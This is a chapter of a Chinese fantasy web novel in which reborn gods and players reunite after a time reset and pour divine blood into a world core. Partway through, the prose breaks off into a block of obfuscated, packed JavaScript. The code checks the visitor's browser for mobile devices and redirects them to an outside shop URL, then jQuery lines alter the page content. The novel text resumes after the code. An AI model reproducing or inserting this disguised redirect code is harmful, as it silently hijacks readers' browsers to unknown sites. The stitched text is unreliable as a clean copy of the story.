段心慈没想过自己还能有重新睁开眼的一天。
目之所及是初生的太阳。
清晨的光辉像薄纱,透彻而朦胧。
“好怜悯啊。”
身后,咸腥与潮湿涌来。
青年近乎觳觫地回头,对上一双布满阴翳的藻绿色双目。
‘艾里门现在和顾屿待在一起!’
这念头几乎同闪电般劈进她的脑海。
电光石火间,段心慈不退反进:“祢要和我说海兔的事,是吗?”
“祢居然知道?”
波绪拿神情怔愣一瞬。
下一秒她怒不可遏:“祢居然知道!”
“是。”
段心慈扯开缠上自己腰腹的巨藻,直视面前暴怒的【摇篮】:“她还活着。”
‘只不过转世了。’
“放开我,我知道她在哪里。”
‘然而其中灵魂的变量我也无从知晓。’
换做从前,她决计不会玩弄语言的游戏,但……死过一次,还谈什么想不想?
波绪拿咬紧后槽牙:“我凭什么信祢!”
“祢已经是复仇之神了,波绪拿。”
从自戮死去的段心慈,站在波绪拿面前的那一刻起。
“祢已经成功了。”
‘而我失去曾经的一切,绝不能再失去现在。’
【摇篮】从没有见过玩家首席如此失态的模样。
迟疑两秒,她缓缓松开那些狰狞虬结的巨藻藤。
段心慈身形消失。
几乎同时,
顾屿指间的手术刀即将贴上艾里门·歌德的眼眶,Y国港口仓库的金属天花板在绝对强悍的力量下应声而裂——
从天而降的玄发青年左臂勒紧顾屿的脖颈,把对方死死控在自己身前。
没有半点防备的预言师就这样被带了个踉跄。
段心慈趁此机会劈手躲过对方手中寒芒闪烁的刀刃,将顾屿勒倒在地。
趴在地上和水泥对视的预言之神:“?”
不知为何,她脑袋里突兀地蹦出一个字:「劫」。
“顾屿。T.T-Carro没有死!”
段心慈却不给预言任何反应的机会,伸手拦在棕色眼睛的孩子身前——
她几乎是咆哮着喊出那句已经积压心底太久的话:“我根本没动过它!”
“……噢…好的。”
顾屿摸了把自己被撞到疼痛难忍的鼻梁骨:“…对不起。”
‘劫。’
预言之神心下嘀咕:‘你背着我重生。’
艾里门·歌德震惊抬头——
在世界重启前,她从未想过眼前的人会记得那些事。
她一切一切的初衷,不过是想要段心慈幸福美满。
就算这份美满是以自己的性命为代价,她心甘情愿,并为此感到由衷的快乐。
长发青年不知她心中所想,只是战栗着转过身,试图用双手去触碰那张缠满绷带的脸……
艾里门立刻微微弯腰低下脑袋,将下巴搭在对方温冷的掌心。
段心慈一把捧住艾里门的脸,左看看右看看。
艾里门像只昏昏欲睡的大猫,眯着眼睛享受和对方靠近的每一刻。
没有受伤,一点血都没有。
两只眼睛好端端的,小心地觑着捧住自己脸颊的死亡之神。
段心慈几乎是脱力地靠在身后桌沿上:‘……我的孩子…’
下一刻,仓库大门被撞开——
九个脑袋的狐蛇扶着门框,气息不稳地扫视了一圈仓库内的情形。
看到段心慈也在,忒尼斯·厄洛诺斯下意识松上一口气。
“…我……”
她磕磕巴巴地解释起来:“……我就是,突然想拯救世界。”
‘见鬼的拯救世界。’
‘艾里门·歌德没事才好。’
被诡计之神惦记的人就站在段心慈身后。
那双棕色的眼睛盯着忒尼斯,直到把狐蛇看得心底发毛——
她抬手在左眼旁边比了个耶。
忒尼斯·厄洛诺斯:“……”
‘……算了…你开心就好。’
死过一遭,许多事她也在逐渐想通。
仓库外,元翎和匆匆赶到的谢挽非小队碰面。
从始至终,谢挽非都是特殊的存在。
她对逆转时间的计划一无所知,却依旧能记得前一轮发生的一切。
“「柩」。”
少年凑近元翎,问:“你欠了它什么?”
顶着【匿名】恶毒的窥视,谢挽非后退一步,抬起头:“不管你欠它什么。”
元翎与一双无尽辉煌,璀璨到怪诞的眼瞳对视,耳旁响起虚幻的声音——
“从今往后都不作数。”
在呆滞的元翎跟前打了个响指,谢挽非笑容明朗:“回神啦。”
元翎表情惊悚地向后蹿出一段距离。
‘奇怪……’
刚刚…是【主角】在和自己讲话吗?
‘为什么…我记不清了?’
没理会身后那些探究的神色,谢挽非大跨步走进仓库——
“段心慈,好久不见。”
倒也没有很久。
只不过,死亡确实是世界上较为长远的距离。
*
另一边,【摇篮】也终于意识到段心慈身上的异样。
前一秒这人还是那副要死不活的模样,下一秒突然就跟疯了般。
预知?占卜?
不,祂灵魂深处的复仇神座不能作假。
这说明至少在另一个地方……祂成功复仇了。
所以是重生?
‘死亡之神,祢最好不要欺骗我。’
收起侵占整颗星球的海藻沼泽,波绪拿神情变得玩味且恶意满满。
‘否则我绝不会像刚才一样放过祢。’
*
段心慈顺着少年的声音抬头,回答道:“好久不见。”
透过自己粉色的墨镜,谢挽非看见对方挂在胸前,第一次完整无缺的爱神牌。
少年唇角微勾。
“毁灭世界是上一次的事情啦!”
她随手摘下墨镜别在衣领,态度坦然:“我是来投敌的。”
谢挽非身边的维莉亚·涅挪&嘉里亚·涅挪:“……”
那他们先前分组的意义究竟是什么?
‘戏耍代号十吗?’
这次玩家们重回监狱换上常服后直接进入世界核心,没有惊动狱警。
蔚蓝的宫殿里,「胎儿」静静悬浮在荧蓝的海水中,四周柔和的生命力缓缓波动。
段心慈上前一步站在操作台面前,她身上没有携带任何药剂。
顾屿掀目,手中把玩着两支颜色迥异的药剂:“这一次……?”
话没说完,预言之神眼皮一跳。
操作台前,阴郁的玄发青年割开手掌,殷红温热的鲜血顺着无数脐带的其中一支流进世界核心体内。
那是战争、死亡与……胜利的神血。
时间的毒药无法救世。
胜利的鲜血比之如何?
预言之神脸上笑容无声扩大——她喜欢这位神祇。
两支时间的药剂被舍弃,预言割开掌心,暗紫鎏金的神血淅淅沥沥地淌进凹槽。
谢挽非明显跃跃欲试,但顾屿态度温和兼强硬地拦下她。
“你最好还是不要。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539374|202926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
预言之神目光古怪地落在谢挽非身上:“虚无之子。”
祂终于意识到对方的身份,异样在于何处——
存在的背面,真理世界的BUG。
真理的铁律在虚无面前什么都不是。
而虚无……
虚无没有铁律。
谢挽非:“……哎?”
“等绿赛图斯变成捧花…”
顾屿拍了拍她的肩胛:“不是,我是说,等这一切结束……我推荐你去个地方。”
谢挽非盯着顾屿。
她没看错,预言之神是故意说错话的。
祂根本就是对绿赛图斯变成捧花这件事喜闻乐见,难以忘怀。
看了半天热闹,忒尼斯·厄洛诺斯头上的狐狸耳朵转了转。
跃跃欲试的玩家从虚无之子变成了狐蛇。
祂一把拽过最不爱吃爆米花的八号蝰蛇:“那让我来!”
八号谴责地看着主脑。
不去理会神经兮兮的八号,忒尼斯掰开蝰蛇的吻部对准自己虎口咬下,黏稠的血瞬间蜿蜒而出。
像雨后黄昏瑰丽的晚霞。
八号吐了吐信子:‘……吓死蛇了。’
其祂拥有神座的玩家:‘……诡计的神血,应该不是这个颜色?’
现在深想也没有意义。
毕竟这头厄洛诺斯的血已经顺着脐带流进世界核心体内。
趁着世界核心运行的空当,死亡之神走到【生者】与【死者】面前:“无论「柩」曾经和你们说了什么。”
维莉亚·涅挪睁大眼睛。
“我发誓,从来不曾想过要杀死你们。”
段心慈神情恹恹:‘杀死自己曾经救过的生命,行径未免太糟糕。’
维莉亚·涅挪不觉得段心慈会说谎,那……
‘「柩」是出了什么问题吗?’
和她抱有同样想法的还有嘉里亚·涅挪。
段心慈的实力摆在那里,何况祂不是喜欢给予猎物希望又碾碎的类型。
「柩」和历届玩家首席的关系更像一种惯性默认……
但谁也不保证这样的默认不会在某天打破。
旁听的【匿名】:“……”
‘你们一个两个都玩重生这套,很有趣吗?’
想到这儿它掏出手帕擤了擤鼻涕。
‘太难受了。真的。’
然而,论起此时有谁要比「愚灵柩」更难受,当属时间之神绿赛图斯。
时间被倒转,祂也活了过来。
作为时间的主神,祂当然不可能失忆。时间之灵也没有。
绿赛图斯的记忆停留在被段心慈拧断脖颈,抛进虚无的一刻。
而时间之灵则留在它步入奇点背后的刹那。
“哎哟,捧花复活了。”
神殿内,时间之灵猖狂大笑。
“祢真该看见自己那时候的表情,简直太可笑了。”
“我说祢现在主动投降说不定还会落得个轻松的死法。”
时间之灵提议得十分恶毒:“不管是什么死法,都不会比上一次更糟糕啦哈哈哈哈!”
绿赛图斯捂住阵阵抽痛的额角:“……闭嘴。”
祂现在是被迫释怀了。
再不甘心又怎样?
最后肯定要被段心慈杀死。
那群变态、疯子、精神病爱干什么就干什么……
祂要在生命有限的时间里睡一觉。
被段心慈扔进奇点给祂带来的精神折磨太大,时间之神已经不想和无理取闹的灵再争辩任何。
看着倒头就睡的绿赛图斯,时间之灵心底冷笑。
‘…睡吧睡吧,最好一觉睡到段心慈把祢头拧掉。’